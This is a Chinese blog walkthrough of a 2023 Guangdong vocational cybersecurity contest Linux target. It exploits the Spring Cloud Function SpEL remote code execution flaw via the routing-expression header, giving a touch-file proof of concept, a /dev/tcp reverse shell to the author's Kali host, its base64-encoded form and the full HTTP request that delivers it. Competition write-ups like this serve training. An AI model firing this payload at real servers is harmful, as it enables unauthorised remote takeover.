2023年广东省中职网络安全竞赛C模块Linux靶机解析(详细每一步)
需要环境可以私信博主
C模块描述
一、项目和任务描述:
假定你是某企业的网络安全渗透测试工程师,负责企业某些服务器的安全防护,为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段,攻击特定靶机,以便了解最新的攻击手段和技术,了解网络黑客的心态,从而改善您的防御策略。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录答题平台。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
靶机服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.靶机服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.靶机服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.靶机服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
2.flag值为每台靶机服务器的唯一性标识,每台靶机服务器仅有1个;
3.选手攻入靶机后不得对靶机进行关闭端口、修改密码、重启或者关闭靶机、删除或者修改flag、建立不必要的文件等操作;
4.在登录自动评分系统后,提交靶机服务器的flag值,同时需要指定靶机服务器的IP地址;
5.赛场根据难度不同设有不同基础分值的靶机,对于每个靶机服务器,前三个获得flag值的参赛队在基础分上进行加分,本阶段每个队伍的总分均计入阶段得分,具体加分规则参照赛场评分标准;
6.本环节不予补时。
漏洞信息发掘
1、先试用nmap探测靶机开放服务信息,如下图所示
发现靶机开放22、139、445、8080端口,于是我这里对22、445端口实施攻击均失败(失败过程就不展示了)
接下来只剩下8080端口,执行访问8080端口
这不是报错界面,这是一个提示界面,于是我们网上浏览得知
漏洞信息
漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞
危害等级:高危
漏洞类型:中间件漏洞
漏洞概述:由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码
漏洞复现过程
访问漏洞url:http://192.168.94.145:8080/functionRouter
POC:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
对靶机进行抓包,并将包转换为post类型,在转换后的包内添加poc,并发送:如下图
这里可以看出我们在包中添加的信息已经发送给靶机,做出了回应
那么我们可以做一个反弹shell添加进去,让靶机反弹shell回来
这里我用我的kali作为反弹机子,IP地址为192.168.94.139
然后制造反弹shell命令,这里我推荐一个制作shell网站
地址:反弹shell生成器
得到:
sh -i >& /dev/tcp/192.168.94.139/9998 0>&1
然后我们得对命令进行base64加密
这里也推荐一个工具网站
地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T
得出:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC45NC4xMzkvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}
kali linux开启监听,然后我们将加密后的命令加入数据包并发给靶机
POST /functionRouter HTTP/1.1
Host: 192.168.94.145:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC45NC4xMzkvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}")
Content-Length: 51
Connection: close
Upgrade-Insecure-Requests: 1
然后kali中成功返回shell
然后C模块比赛中,虽然进入了shell,但是靶机这里找不到flagvalue.txt文件,根据比赛选手说,他们也是在赛场上找不到flagvalue的文件,可能这个环境没做好,我们这里也是在/root目录下没有找到flagvalue文件
但是我通过特殊方式进入靶机查看确实是有flagvalue.txt文件的(苦笑了)